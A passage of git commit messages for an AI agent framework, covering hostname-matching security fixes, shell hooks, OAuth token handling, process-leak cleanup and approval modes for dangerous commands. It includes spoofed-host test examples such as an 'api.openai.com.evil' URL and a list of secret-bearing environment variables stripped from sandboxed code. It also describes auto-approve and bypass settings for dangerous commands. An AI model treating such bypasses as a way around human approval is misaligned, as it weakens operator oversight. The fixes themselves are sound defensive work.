LocalEnvironment().execute() call, that auto_source_bashrc=false
suppresses it, that an explicit shell_init_files entry wins over the
auto default, and that a missing bashrc is silently skipped.
Aslaaen's fix in the original PR covered _detect_api_mode_for_url and the
two openai/xai sites in run_agent.py. This finishes the sweep: the same
substring-match false-positive class (e.g. https://api.openai.com.evil/v1,
https://proxy/api.openai.com/v1, https://api.anthropic.com.example/v1)
existed in eight more call sites, and the hostname helper was duplicated
in two modules.
- utils: add shared base_url_hostname() (single source of truth).
- hermes_cli/runtime_provider, run_agent: drop local duplicates, import
from utils. Reuse the cached AIAgent._base_url_hostname attribute
everywhere it's already populated.
- agent/auxiliary_client: switch codex-wrap auto-detect, max_completion_tokens
gate (auxiliary_max_tokens_param), and custom-endpoint max_tokens kwarg
selection to hostname equality.
- run_agent: native-anthropic check in the Claude-style model branch
and in the AIAgent init provider-auto-detect branch.
- agent/model_metadata: Anthropic /v1/models context-length lookup.
- hermes_cli/providers.determine_api_mode: anthropic / openai URL
heuristics for custom/unknown providers (the /anthropic path-suffix
convention for third-party gateways is preserved).
- tools/delegate_tool: anthropic detection for delegated subagent
runtimes.
- hermes_cli/setup, hermes_cli/tools_config: setup-wizard vision-endpoint
native-OpenAI detection (paired with deduping the repeated check into
a single is_native_openai boolean per branch).
Tests:
- tests/test_base_url_hostname.py covers the helper directly
(path-containing-host, host-suffix, trailing dot, port, case).
- tests/hermes_cli/test_determine_api_mode_hostname.py adds the same
regression class for determine_api_mode, plus a test that the
/anthropic third-party gateway convention still wins.
Also: add asslaenn5@gmail.com → Aslaaen to scripts/release.py AUTHOR_MAP.
Users can declare shell scripts in config.yaml under a hooks: block that
fire on plugin-hook events (pre_tool_call, post_tool_call, pre_llm_call,
subagent_stop, etc). Scripts receive JSON on stdin, can return JSON on
stdout to block tool calls or inject context pre-LLM.
Key design:
- Registers closures on existing PluginManager._hooks dict — zero changes
to invoke_hook() call sites
- subprocess.run(shell=False) via shlex.split — no shell injection
- First-use consent per (event, command) pair, persisted to allowlist JSON
- Bypass via --accept-hooks, HERMES_ACCEPT_HOOKS=1, or hooks_auto_accept
- hermes hooks list/test/revoke/doctor CLI subcommands
- Adds subagent_stop hook event fired after delegate_task children exit
- Claude Code compatible response shapes accepted
Cherry-picked from PR #13143 by @pefontana.
Cherry-picked from PR #13159 by @cdanis.
Adds native media attachment delivery to Signal via signal-cli JSON-RPC
attachments param. Signal messages with media now follow the same
early-return pattern as Telegram/Discord/Matrix — attachments are sent
only with the last chunk to avoid duplicates.
Follow-up fixes on top of the original PR:
- Moved Signal into its own early-return block above the restriction
check (matches Telegram/Discord/Matrix pattern)
- Fixed media_files being sent on every chunk in the generic loop
- Restored restriction/warning guards to simple form (Signal exits early)
- Fixed non-hermetic test writing to /tmp instead of tmp_path
Adds a _resolve_path() helper that reads TERMINAL_CWD and uses it as
the base for relative path resolution. Applied to _check_sensitive_path,
read_file_tool, _update_read_timestamp, and _check_file_staleness.
Absolute paths and non-worktree sessions (no TERMINAL_CWD) are
unaffected — falls back to os.getcwd().
Fixes#12689.
Replaces the serial for-loop in tick() with ThreadPoolExecutor so all
jobs due in a single tick run concurrently. A slow job no longer blocks
others from executing, fixing silent job skipping (issue #9086).
Thread safety:
- Session/delivery env vars migrated from os.environ to ContextVars
(gateway/session_context.py) so parallel jobs can't clobber each
other's delivery targets. Each thread gets its own copied context.
- jobs.json read-modify-write cycles (advance_next_run, mark_job_run)
protected by threading.Lock to prevent concurrent save clobber.
- send_message_tool reads delivery vars via get_session_env() for
ContextVar-aware resolution with os.environ fallback.
Configuration:
- cron.max_parallel_jobs in config.yaml (null = unbounded, 1 = serial)
- HERMES_CRON_MAX_PARALLEL env var override
Based on PR #9169 by @VenomMoth1.
Fixes#9086
Cherry-picked from PR #2545 by @Mibayy.
The setup wizard could leave stt.model: "whisper-1" in config.yaml.
When using the local faster-whisper provider, this crashed with
"Invalid model size 'whisper-1'". Voice messages were silently ignored.
_normalize_local_model() now detects cloud-only names (whisper-1,
gpt-4o-transcribe, etc.) and maps them to the default local model
with a warning. Valid local sizes (tiny, base, small, medium, large-v3)
pass through unchanged.
- Renamed _normalize_local_command_model -> _normalize_local_model
(backward-compat wrapper preserved)
- 6 new tests including integration test
- Added lowercase AUTHOR_MAP alias for @Mibayy
Closes#2544
On macOS, Unix domain socket paths are capped at 104 bytes (sun_path).
SSH appends a 16-byte random suffix to the ControlPath when operating
in ControlMaster mode. With an IPv6 host embedded literally in the
filename and a deeply-nested macOS $TMPDIR like
/var/folders/XX/YYYYYYYYYYYY/T/, the full path reliably exceeds the
limit — every terminal/file-op tool call then fails immediately with
``unix_listener: path "…" too long for Unix domain socket``.
Swap the ``user@host:port.sock`` filename for a sha256-derived 16-char
hex digest. The digest is deterministic for a given (user, host, port)
triple, so ControlMaster reuse across reconnects is preserved, and the
full path fits comfortably under the limit even after SSH's random
suffix. Collision space is 2^64 — effectively unreachable for the
handful of concurrent connections any single Hermes process holds.
Regression tests cover: path length under realistic macOS $TMPDIR with
the IPv6 host from the issue report, determinism for reconnects, and
distinctness across different (user, host, port) triples.
Closes#11840
Follow-up to #12704. The SignalAdapter can resolve +E164 numbers to
UUIDs via listContacts, but _parse_target_ref() in the send_message
tool rejected '+' as non-digit and fell through to channel-name
resolution — which fails for contacts without a prior session entry.
Adds an E.164 branch in _parse_target_ref for phone-based platforms
(signal, sms, whatsapp) that preserves the leading '+' so downstream
adapters keep the format they expect. Non-phone platforms are
unaffected.
Reported by @qdrop17 on Discord after pulling #12704.
file_tools._get_file_ops() built a container_config dict for Docker/
Singularity/Modal/Daytona backends but omitted docker_mount_cwd_to_workspace
and docker_forward_env. Both are read by _create_environment() from
container_config, so file tools (read_file, write_file, patch, search)
silently ignored those config values when running in Docker.
Add the two missing keys to match the container_config already built by
terminal_tool.terminal_tool().
Fixes#2672.
The vision tool hardcoded temperature=0.1, ignoring the user's
config.yaml setting. This broke providers like Kimi/Moonshot that
require temperature=1 for vision models. Now reads temperature
from auxiliary.vision.temperature, falling back to 0.1.
bash parses `A && B &` with `&&` tighter than `&`, so it forks a subshell
for the compound and backgrounds the subshell. Inside the subshell, B
runs foreground, so the subshell waits for B. When B is a process that
doesn't naturally exit (`python3 -m http.server`, `yes > /dev/null`, a
long-running daemon), the subshell is stuck in `wait4` forever and leaks
as an orphan reparented to init.
Observed in production: agents running `cd X && python3 -m http.server
8000 &>/dev/null & sleep 1 && curl ...` as a "start a local server, then
verify it" one-liner. Outer bash exits cleanly; the subshell never does.
Across ~3 days of use, 8 unique stuck-terminal events and 7 leaked
bash+server pairs accumulated on the fleet, with some sessions appearing
hung from the user's perspective because the subshell's open stdout pipe
kept the terminal tool's drain thread blocked.
This is distinct from the `set +m` fix in 933fbd8f (which addressed
interactive-shell job-control waiting at exit). `set +m` doesn't help
here because `bash -c` is non-interactive and job control is already
off; the problem is the subshell's own internal wait for its foreground
B, not the outer shell's job-tracking.
The fix: walk the command shell-aware (respecting quotes, parens, brace
groups, `&>`/`>&` redirects), find `A && B &` / `A || B &` at depth 0
and rewrite the tail to `A && { B & }`. Brace groups don't fork a
subshell — they run in the current shell. `B &` inside the group is a
simple background (no subshell wait). The outer `&` is absorbed into
the group, so the compound no longer needs an explicit subshell.
`&&` error-propagation is preserved exactly: if A fails, `&&`
short-circuits and B never runs.
- Skips quoted strings, comment lines, and `(…)` subshells
- Handles `&>/dev/null`, `2>&1`, `>&2` without mistaking them for `&`
- Resets chain state at `;`, `|`, and newlines
- Tracks brace depth so already-rewritten output is idempotent
- Walks using the existing `_read_shell_token` tokenizer, matching the
pattern of `_rewrite_real_sudo_invocations`
Called once from `BaseEnvironment.execute` right after
`_prepare_command`, so it runs for every backend (local, ssh, docker,
modal, etc.) with no per-backend plumbing.
34 new tests covering rewrite cases, preservation cases, redirect
edge-cases, quoting/parens/backticks, idempotency, and empty/edge
inputs. End-to-end verified on a test VM: the exact vela-incident
command now returns in ~1.3s with no leaked bash, only the intentional
backgrounded server.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* [verified] fix(mcp-oauth): bridge httpx auth_flow bidirectional generator
HermesMCPOAuthProvider.async_auth_flow wrapped the SDK's auth_flow with
'async for item in super().async_auth_flow(request): yield item', which
discards httpx's .asend(response) values and resumes the inner generator
with None. This broke every OAuth MCP server on the first HTTP response
with 'NoneType' object has no attribute 'status_code' crashing at
mcp/client/auth/oauth2.py:505.
Replace with a manual bridge that forwards .asend() values into the
inner generator, preserving httpx's bidirectional auth_flow contract.
Add tests/tools/test_mcp_oauth_bidirectional.py with two regression
tests that drive the flow through real .asend() round-trips. These
catch the bug at the unit level; prior tests only exercised
_initialize() and disk-watching, never the full generator protocol.
Verified against BetterStack MCP:
Before: 'Connection failed (11564ms): NoneType...' after 3 retries
After: 'Connected (2416ms); Tools discovered: 83'
Regression from #11383.
* [verified] fix(mcp-oauth): seed token_expiry_time + pre-flight AS discovery on cold-load
PR #11383's consolidation fixed external-refresh reloading and 401 dedup
but left two latent bugs that surfaced on BetterStack and any other OAuth
MCP with a split-origin authorization server:
1. HermesTokenStorage persisted only a relative 'expires_in', which is
meaningless after a process restart. The MCP SDK's OAuthContext
does NOT seed token_expiry_time in _initialize, so is_token_valid()
returned True for any reloaded token regardless of age. Expired
tokens shipped to servers, and app-level auth failures (e.g.
BetterStack's 'No teams found. Please check your authentication.')
were invisible to the transport-layer 401 handler.
2. Even once preemptive refresh did fire, the SDK's _refresh_token
falls back to {server_url}/token when oauth_metadata isn't cached.
For providers whose AS is at a different origin (BetterStack:
mcp.betterstack.com for MCP, betterstack.com/oauth/token for the
token endpoint), that fallback 404s and drops into full browser
re-auth on every process restart.
Fix set:
- HermesTokenStorage.set_tokens persists an absolute wall-clock
expires_at alongside the SDK's OAuthToken JSON (time.time() + TTL
at write time).
- HermesTokenStorage.get_tokens reconstructs expires_in from
max(expires_at - now, 0), clamping expired tokens to zero TTL.
Legacy files without expires_at fall back to file-mtime as a
best-effort wall-clock proxy, self-healing on the next set_tokens.
- HermesMCPOAuthProvider._initialize calls super(), then
update_token_expiry on the reloaded tokens so token_expiry_time
reflects actual remaining TTL. If tokens are loaded but
oauth_metadata is missing, pre-flight PRM + ASM discovery runs
via httpx.AsyncClient using the MCP SDK's own URL builders and
response handlers (build_protected_resource_metadata_discovery_urls,
handle_auth_metadata_response, etc.) so the SDK sees the correct
token_endpoint before the first refresh attempt. Pre-flight is
skipped when there are no stored tokens to keep fresh-install
paths zero-cost.
Test coverage (tests/tools/test_mcp_oauth_cold_load_expiry.py):
- set_tokens persists absolute expires_at
- set_tokens skips expires_at when token has no expires_in
- get_tokens round-trips expires_at -> remaining expires_in
- expired tokens reload with expires_in=0
- legacy files without expires_at fall back to mtime proxy
- _initialize seeds token_expiry_time from stored tokens
- _initialize flags expired-on-disk tokens as is_token_valid=False
- _initialize pre-flights PRM + ASM discovery with mock transport
- _initialize skips pre-flight when no tokens are stored
Verified against BetterStack MCP:
hermes mcp test betterstack -> Connected (2508ms), 83 tools
mcp_betterstack_telemetry_list_teams_tool -> real team data, not
'No teams found. Please check your authentication.'
Reference: mcp-oauth-token-diagnosis skill, Fix A.
* chore: map hermes@noushq.ai to benbarclay in AUTHOR_MAP
Needed for CI attribution check on cherry-picked commits from PR #12025.
---------
Co-authored-by: Hermes Agent <hermes@noushq.ai>
Two hardening layers in the patch tool, triggered by a real silent failure
in the previous session:
(1) Post-write verification in patch_replace — after write_file succeeds,
re-read the file and confirm the bytes on disk match the intended write.
If not, return an error instead of the current success-with-diff. Catches
silent persistence failures from any cause (backend FS oddities, stdin
pipe truncation, concurrent task races, mount drift).
(2) Escape-drift guard in fuzzy_find_and_replace — when a non-exact
strategy matches and both old_string and new_string contain literal
\' or \" sequences but the matched file region does not, reject the
patch with a clear error pointing at the likely cause (tool-call
serialization adding a spurious backslash around apostrophes/quotes).
Exact matches bypass the guard, and legitimate edits that add or
preserve escape sequences in files that already have them still work.
Why: in a prior tool call, old_string was sent with \' where the file
has ' (tool-call transport drift). The fuzzy matcher's block_anchor
strategy matched anyway and produced a diff the tool reported as
successful — but the file was never modified on disk. The agent moved
on believing the edit landed when it hadn't.
Tests: added TestPatchReplacePostWriteVerification (3 cases) and
TestEscapeDriftGuard (6 cases). All pass, existing fuzzy match and
file_operations tests unaffected.
* feat: add Discord server introspection and management tool
Add a discord_server tool that gives the agent the ability to interact
with Discord servers when running on the Discord gateway. Uses Discord
REST API directly with the bot token — no dependency on the gateway
adapter's discord.py client.
The tool is only included in the hermes-discord toolset (zero cost for
users on other platforms) and gated on DISCORD_BOT_TOKEN via check_fn.
Actions (14):
- Introspection: list_guilds, server_info, list_channels, channel_info,
list_roles, member_info, search_members
- Messages: fetch_messages, list_pins, pin_message, unpin_message
- Management: create_thread, add_role, remove_role
This addresses a gap where users on Discord could not ask Hermes to
review server structure, channels, roles, or members — a task competing
agents (OpenClaw) handle out of the box.
Files changed:
- tools/discord_tool.py (new): Tool implementation + registration
- model_tools.py: Add to discovery list
- toolsets.py: Add to hermes-discord toolset only
- tests/tools/test_discord_tool.py (new): 43 tests covering all actions,
validation, error handling, registration, and toolset scoping
* feat(discord): intent-aware schema filtering + config allowlist + schema cleanup
- _detect_capabilities() hits GET /applications/@me once per process
to read GUILD_MEMBERS / MESSAGE_CONTENT privileged intent bits.
- Schema is rebuilt per-session in model_tools.get_tool_definitions:
hides search_members / member_info when GUILD_MEMBERS intent is off,
annotates fetch_messages description when MESSAGE_CONTENT is off.
- New config key discord.server_actions (comma-separated or YAML list)
lets users restrict which actions the agent can call, intersected
with intent availability. Unknown names are warned and dropped.
- Defense-in-depth: runtime handler re-checks the allowlist so a stale
cached schema cannot bypass a tightened config.
- Schema description rewritten as an action-first manifest (signature
per action) instead of per-parameter 'required for X, Y, Z' cross-refs.
~25% shorter; model can see each action's required params at a glance.
- Added bounds: limit gets minimum=1 maximum=100, auto_archive_duration
becomes an enum of the 4 valid Discord values.
- 403 enrichment: runtime 403 errors are mapped to actionable guidance
(which permission is missing and what to do about it) instead of the
raw Discord error body.
- 36 new tests: capability detection with caching and force refresh,
config allowlist parsing (string/list/invalid/unknown), intent+allowlist
intersection, dynamic schema build, runtime allowlist enforcement,
403 enrichment, and model_tools integration wiring.
The first draft of the fix called `chunk.decode("utf-8")` directly on
each 4096-byte `os.read()` result, which corrupts output whenever a
multi-byte UTF-8 character straddles a read boundary:
* `UnicodeDecodeError` fires on the valid-but-truncated byte sequence.
* The except handler clears ALL previously-decoded output and replaces
the whole buffer with `[binary output detected ...]`.
Empirically: 10000 '日' chars (30001 bytes) through the wrapper loses
all 10000 characters on the first draft; the baseline TextIOWrapper
drain (which uses `encoding='utf-8', errors='replace'` on Popen)
preserves them all. This regression affects any command emitting
non-ASCII output larger than one chunk — CJK/Arabic/emoji in
`npm install`, `pip install`, `docker logs`, `kubectl logs`, etc.
Fix: swap to `codecs.getincrementaldecoder('utf-8')(errors='replace')`,
which buffers partial multi-byte sequences across chunks and substitutes
U+FFFD for genuinely invalid bytes. Flush on drain exit via
`decoder.decode(b'', final=True)` to emit any trailing replacement
character for a dangling partial sequence.
Adds two regression tests:
* test_utf8_multibyte_across_read_boundary — 10000 U+65E5 chars,
verifies count round-trips and no fallback fires.
* test_invalid_utf8_uses_replacement_not_fallback — deliberate
\xff\xfe between valid ASCII, verifies surrounding text survives.
When a user's command backgrounds a child (`cmd &`, `setsid cmd & disown`,
etc.), the backgrounded grandchild inherits the write-end of our stdout
pipe via fork(). The old `for line in proc.stdout` drain never EOF'd
until the grandchild closed the pipe — so for a uvicorn server, the
terminal tool hung indefinitely (users reported the whole session
deadlocking when asking the agent to restart a backend).
Fix: switch _drain() to select()-based non-blocking reads and stop
draining shortly after bash exits even if the pipe hasn't EOF'd. Any
output the grandchild writes after that point goes to an orphaned pipe,
which is exactly what the user asked for when they said '&'.
Adds regression tests covering the issue's exact repro and 5 related
patterns (plain bg, setsid+disown, streaming output, high volume,
timeout, UTF-8).
Agents can now send arbitrary CDP commands to the browser. The tool is
gated on a reachable CDP endpoint at session start — it only appears in
the toolset when BROWSER_CDP_URL is set (from '/browser connect') or
'browser.cdp_url' is configured in config.yaml. Backends that don't
currently expose CDP to the Python side (Camofox, default local
agent-browser, cloud providers whose per-session cdp_url is not yet
surfaced) do not see the tool at all.
Tool schema description links to the CDP method reference at
https://chromedevtools.github.io/devtools-protocol/ so the agent can
web_extract specific method docs on demand.
Stateless per call. Browser-level methods (Target.*, Browser.*,
Storage.*) omit target_id. Page-level methods attach to the target
with flatten=true and dispatch the method on the returned sessionId.
Clean errors when the endpoint becomes unreachable mid-session or
the URL isn't a WebSocket.
Tests: 19 unit (mock CDP server + gate checks) + E2E against real
headless Chrome (Target.getTargets, Browser.getVersion,
Runtime.evaluate with target_id, Page.navigate + re-eval, bogus
method, bogus target_id, missing endpoint) + E2E of the check_fn
gate (tool hidden without CDP URL, visible with it, hidden again
after unset).
Add approvals.cron_mode config option that controls how cron jobs handle
dangerous commands. Previously, cron jobs silently auto-approved all
dangerous commands because there was no user present to approve them.
Now the behavior is configurable:
- deny (default): block dangerous commands and return a message telling
the agent to find an alternative approach. The agent loop continues —
it just can't use that specific command.
- approve: auto-approve all dangerous commands (previous behavior).
When a command is blocked, the agent receives the same response format as
a user denial in the CLI — exit_code=-1, status=blocked, with a message
explaining why and pointing to the config option. This keeps the agent
loop running and encourages it to adapt.
Implementation:
- config.py: add approvals.cron_mode to DEFAULT_CONFIG
- scheduler.py: set HERMES_CRON_SESSION=1 env var before agent runs
- approval.py: both check_command_approval() and check_all_command_guards()
now check for cron sessions and apply the configured mode
- 21 new tests covering config parsing, deny/approve behavior, and
interaction with other bypass mechanisms (yolo, containers)
Stacking both features on the same event produces duplicate, delayed
notifications — delivery is async and continues firing after the process
exits, so matches on end-of-run markers (SUMMARY, DONE, PASS) arrive
after the agent has already polled/waited and moved on.
Updates both the terminal tool JSON schema description and the
terminal_tool() function docstring to make the split explicit:
- watch_patterns: mid-process signals only (errors, readiness markers,
intermediate steps you want to react to before the process exits)
- notify_on_complete: end-of-run completion signal
No behavioural change.
Weaker models (Gemma-class) repeatedly rediscover and forget that
execute_code uses a different CWD and Python interpreter than terminal(),
causing them to flip-flop on whether user files exist and to hit import
errors on project dependencies like pandas.
Adds a new 'code_execution.mode' config key (default 'project') that
brings execute_code into line with terminal()'s filesystem/interpreter:
project (new default):
- cwd = session's TERMINAL_CWD (falls back to os.getcwd())
- python = active VIRTUAL_ENV/bin/python or CONDA_PREFIX/bin/python
with a Python 3.8+ version check; falls back cleanly to
sys.executable if no venv or the candidate fails
- result : 'import pandas' works, '.env' resolves, matches terminal()
strict (opt-in):
- cwd = staging tmpdir (today's behavior)
- python = sys.executable (today's behavior)
- result : maximum reproducibility and isolation; project deps
won't resolve
Security-critical invariants are identical across both modes and covered by
explicit regression tests:
- env scrubbing (strips *_API_KEY, *_TOKEN, *_SECRET, *_PASSWORD,
*_CREDENTIAL, *_PASSWD, *_AUTH substrings)
- SANDBOX_ALLOWED_TOOLS whitelist (no execute_code recursion, no
delegate_task, no MCP from inside scripts)
- resource caps (5-min timeout, 50KB stdout, 50 tool calls)
Deliberately avoids 'sandbox'/'isolated'/'cloud' language in tool
descriptions (regression from commit 39b83f34 where agents on local
backends falsely believed they were sandboxed and refused networking).
Override via env var: HERMES_EXECUTE_CODE_MODE=strict|project
Weaker models (Gemma-class) repeatedly rediscover and forget that execute_code's
working directory differs from terminal()/read_file()'s, leading to
os.path.exists('.env') returning False even though the file exists in the
session's CWD. They then bounce between 'the file exists' and 'the file is
missing' across tool calls.
Adds a 'Working directory' note to the execute_code schema description
pointing agents at absolute paths (os.path.expanduser) or terminal()/read_file()
for inspecting user files.
Carefully avoids the 'sandbox'/'isolated'/'cloud' language that commit
39b83f34 removed (it caused agents on local backends to refuse networking
tasks and save false sandbox beliefs to persistent memory). Purely factual
CWD guidance — no restriction implications.
Error messages that tell users to install optional extras now use
{sys.executable} -m pip install ... instead of a bare 'pip install
hermes-agent[extra]' string. Under the curl installer, bare 'pip'
resolves to system pip, which either fails with PEP 668
externally-managed-environment or installs into the wrong Python.
Affects: hermes dashboard, hermes web server startup, mcp_serve,
hermes doctor Bedrock check, CLI voice mode, voice_mode tool runtime
error, Discord voice-channel join failure message.
* fix(interrupt): propagate to concurrent-tool workers + opt-in debug trace
interrupt() previously only flagged the agent's _execution_thread_id.
Tools running inside _execute_tool_calls_concurrent execute on
ThreadPoolExecutor worker threads whose tids are distinct from the
agent's, so is_interrupted() inside those tools returned False no matter
how many times the gateway called .interrupt() — hung ssh / curl / long
make-builds ran to their own timeout.
Changes:
- run_agent.py: track concurrent-tool worker tids in a per-agent set,
fan interrupt()/clear_interrupt() out to them, and handle the
register-after-interrupt race at _run_tool entry. getattr fallback
for the tracker so test stubs built via object.__new__ keep working.
- tools/environments/base.py: opt-in _wait_for_process trace (ENTER,
per-30s HEARTBEAT with interrupt+activity-cb state, INTERRUPT
DETECTED, TIMEOUT, EXIT) behind HERMES_DEBUG_INTERRUPT=1.
- tools/interrupt.py: opt-in set_interrupt() trace (caller tid, target
tid, set snapshot) behind the same env flag.
- tests: new regression test runs a polling tool on a concurrent worker
and asserts is_interrupted() flips to True within ~1s of interrupt().
Second new test guards clear_interrupt() clearing tracked worker bits.
Validation: tests/run_agent/ all 762 pass; tests/tools/ interrupt+env
subset 216 pass.
* fix(interrupt-debug): bypass quiet_mode logger filter so trace reaches agent.log
AIAgent.__init__ sets logging.getLogger('tools').setLevel(ERROR) when
quiet_mode=True (the CLI default). This would silently swallow every
INFO-level trace line from the HERMES_DEBUG_INTERRUPT=1 instrumentation
added in the parent commit — confirmed by running hermes chat -q with
the flag and finding zero trace lines in agent.log even though
_wait_for_process was clearly executing (subprocess pid existed).
Fix: when HERMES_DEBUG_INTERRUPT=1, each traced module explicitly sets
its own logger level to INFO at import time, overriding the 'tools'
parent-level filter. Scoped to the opt-in case only, so production
(quiet_mode default) logs stay quiet as designed.
Validation: hermes chat -q with HERMES_DEBUG_INTERRUPT=1 now writes
'_wait_for_process ENTER/EXIT' lines to agent.log as expected.
* fix(cli): SIGTERM/SIGHUP no longer orphans tool subprocesses
Tool subprocesses spawned by the local environment backend use
os.setsid so they run in their own process group. Before this fix,
SIGTERM/SIGHUP to the hermes CLI killed the main thread via
KeyboardInterrupt but the worker thread running _wait_for_process
never got a chance to call _kill_process — Python exited, the child
was reparented to init (PPID=1), and the subprocess ran to its
natural end (confirmed live: sleep 300 survived 4+ min after SIGTERM
to the agent until manual cleanup).
Changes:
- cli.py _signal_handler (interactive) + _signal_handler_q (-q mode):
route SIGTERM/SIGHUP through agent.interrupt() so the worker's poll
loop sees the per-thread interrupt flag and calls _kill_process
(os.killpg) on the subprocess group. HERMES_SIGTERM_GRACE (default
1.5s) gives the worker time to complete its SIGTERM+SIGKILL
escalation before KeyboardInterrupt unwinds main.
- tools/environments/base.py _wait_for_process: wrap the poll loop in
try/except (KeyboardInterrupt, SystemExit) so the cleanup fires
even on paths the signal handlers don't cover (direct sys.exit,
unhandled KI from nested code, etc.). Emits EXCEPTION_EXIT trace
line when HERMES_DEBUG_INTERRUPT=1.
- New regression test: injects KeyboardInterrupt into a running
_wait_for_process via PyThreadState_SetAsyncExc, verifies the
subprocess process group is dead within 3s of the exception and
that KeyboardInterrupt re-raises cleanly afterward.
Validation:
| Before | After |
|---------------------------------------------------------|--------------------|
| sleep 300 survives 4+ min as PPID=1 orphan after SIGTERM | dies within 2 s |
| No INTERRUPT DETECTED in trace | INTERRUPT DETECTED fires + killing process group |
| tests/tools/test_local_interrupt_cleanup | 1/1 pass |
| tests/run_agent/test_concurrent_interrupt | 4/4 pass |
Extend forum support from PR #10145:
- REST path (_send_discord): forum thread creation now uploads media
files as multipart attachments on the starter message in a single
call. Previously media files were silently dropped on the forum
path.
- Websocket media paths (_send_file_attachment, send_voice, send_image,
send_animation — covers send_image_file, send_video, send_document
transitively): forum channels now go through a new _forum_post_file
helper that creates a thread with the file as starter content,
instead of failing via channel.send(file=...) which forums reject.
- _send_to_forum chunk follow-up failures are collected into
raw_response['warnings'] so partial-send outcomes surface.
- Process-local probe cache (_DISCORD_CHANNEL_TYPE_PROBE_CACHE) avoids
GET /channels/{id} on every uncached send after the first.
- Dedup of TestSendDiscordMedia that the PR merge-resolution left
behind.
- Docs: Forum Channels section under website/docs/user-guide/messaging/discord.md.
Tests: 117 passed (22 new for forum+media, probe cache, warnings).
ShellFileOperations captured the terminal env's cwd at __init__ time and
used that stale value for every subsequent _exec() call. When the user
ran `cd` via the terminal tool, `env.cwd` updated but `ops.cwd` did not.
Relative paths passed to patch_replace / read_file / write_file / search
then targeted the ORIGINAL directory instead of the current one.
Observed symptom in agent sessions:
terminal: cd .worktrees/my-branch
patch hermes_cli/main.py <old> <new>
→ returns {"success": true} with a plausible unified diff
→ but `git diff` in the worktree shows nothing
→ the patch landed in the main repo's checkout of main.py instead
The diff looked legitimate because patch_replace computes it from the
IN-MEMORY content vs new_content, not by re-reading the file. The
write itself DID succeed — it just wrote to the wrong directory's copy
of the same-named file.
Fix: _exec() now resolves cwd from live sources in this order:
1. Explicit `cwd` arg (if provided by the caller)
2. Live `self.env.cwd` (tracks `cd` commands run via terminal)
3. Init-time `self.cwd` (fallback when env has no cwd attribute)
Includes a 5-test regression suite covering:
- cd followed by relative read follows live cwd
- the exact reported bug: patch_replace with relative path after cd
- explicit cwd= arg still wins over env.cwd
- env without cwd attribute falls back to init-time cwd
- patch_replace success reflects real file state (safety rail)
Co-authored-by: teknium1 <teknium@nousresearch.com>
Follow-up polish on top of the cherry-picked #11023 commit.
- feishu_comment_rules.py: replace import-time "~/.hermes" expanduser fallback
with get_hermes_home() from hermes_constants (canonical, profile-safe).
- tools/feishu_doc_tool.py, tools/feishu_drive_tool.py: drop the
asyncio.get_event_loop().run_until_complete(asyncio.to_thread(...)) dance.
Tool handlers run synchronously in a worker thread with no running loop, so
the RuntimeError branch was always the one that executed. Calls client.request
directly now. Unused asyncio import removed.
- tests/gateway/test_feishu.py: add register_p2_customized_event to the mock
EventDispatcher builder so the existing adapter test matches the new handler
registration for drive.notice.comment_add_v1.
- scripts/release.py: map liujinkun@bytedance.com -> liujinkun2025 for
contributor attribution on release notes.
- Full comment handler: parse drive.notice.comment_add_v1 events, build
timeline, run agent, deliver reply with chunking support.
- 5 tools: feishu_doc_read, feishu_drive_list_comments,
feishu_drive_list_comment_replies, feishu_drive_reply_comment,
feishu_drive_add_comment.
- 3-tier access control rules (exact doc > wildcard "*" > top-level >
defaults) with per-field fallback. Config via
~/.hermes/feishu_comment_rules.json, mtime-cached hot-reload.
- Self-reply filter using generalized self_open_id (supports future
user-identity subscriptions). Receiver check: only process events
where the bot is the @mentioned target.
- Smart timeline selection, long text chunking, semantic text extraction,
session sharing per document, wiki link resolution.
Change-Id: I31e82fd6355173dbcc400b8934b6d9799e3137b9
Both fixes close process leaks observed in production (18+ orphaned
agent-browser node daemons, 15+ orphaned paste.rs sleep interpreters
accumulated over ~3 days, ~2.7 GB RSS).
## agent-browser daemon leak
Previously the orphan reaper (_reap_orphaned_browser_sessions) only ran
from _start_browser_cleanup_thread, which is only invoked on the first
browser tool call in a process. Hermes sessions that never used the
browser never swept orphans, and the cross-process orphan detection
relied on in-process _active_sessions, which doesn't see other hermes
PIDs' sessions (race risk).
- Write <session>.owner_pid alongside the socket dir recording the
hermes PID that owns the daemon (extracted into _write_owner_pid for
direct testability).
- Reaper prefers owner_pid liveness over in-process _active_sessions.
Cross-process safe: concurrent hermes instances won't reap each
other's daemons. Legacy tracked_names fallback kept for daemons
that predate owner_pid.
- atexit handler (_emergency_cleanup_all_sessions) now always runs
the reaper, not just when this process had active sessions —
every clean hermes exit sweeps accumulated orphans.
## paste.rs auto-delete leak
_schedule_auto_delete spawned a detached Python subprocess per call
that slept 6 hours then issued DELETE requests. No dedup, no tracking —
every 'hermes debug share' invocation added ~20 MB of resident Python
interpreters that stuck around until the sleep finished.
- Replaced the spawn with ~/.hermes/pastes/pending.json: records
{url, expire_at} entries.
- _sweep_expired_pastes() synchronously DELETEs past-due entries on
every 'hermes debug' invocation (run_debug() dispatcher).
- Network failures stay in pending.json for up to 24h, then give up
(paste.rs's own retention handles the 'user never runs hermes again'
edge case).
- Zero subprocesses; regression test asserts subprocess/Popen/time.sleep
never appear in the function source (skipping docstrings via AST).
## Validation
| | Before | After |
|------------------------------|---------------|--------------|
| Orphan agent-browser daemons | 18 accumulated| 2 (live) |
| paste.rs sleep interpreters | 15 accumulated| 0 |
| RSS reclaimed | - | ~2.7 GB |
| Targeted tests | - | 2253 pass |
E2E verified: alive-owner daemons NOT reaped; dead-owner daemons
SIGTERM'd and socket dirs cleaned; pending.json sweep deletes expired
entries without spawning subprocesses.
Two accretion-over-time leaks that compound over long CLI / gateway
lifetimes. Both were flagged in the memory-leak audit.
## file_tools._read_tracker
_read_tracker[task_id] holds three sub-containers that grew unbounded:
read_history set of (path, offset, limit) tuples — 1 per unique read
dedup dict of (path, offset, limit) → mtime — same growth pattern
read_timestamps dict of resolved_path → mtime — 1 per unique path
A CLI session uses one stable task_id for its lifetime, so these were
uncapped. A 10k-read session accumulated ~1.5MB of tracker state that
the tool no longer needed (only the most recent reads are relevant for
dedup, consecutive-loop detection, and write/patch external-edit
warnings).
Fix: _cap_read_tracker_data() enforces hard caps on each container
after every add. Defaults: read_history=500, dedup=1000,
read_timestamps=1000. Eviction is insertion-order (Python 3.7+ dict
guarantee) for the dicts; arbitrary for the set (which only feeds
diagnostic summaries).
## process_registry._completion_consumed
Module-level set that recorded every session_id ever polled / waited /
logged. No pruning. Each entry is ~20 bytes, so the absolute leak is
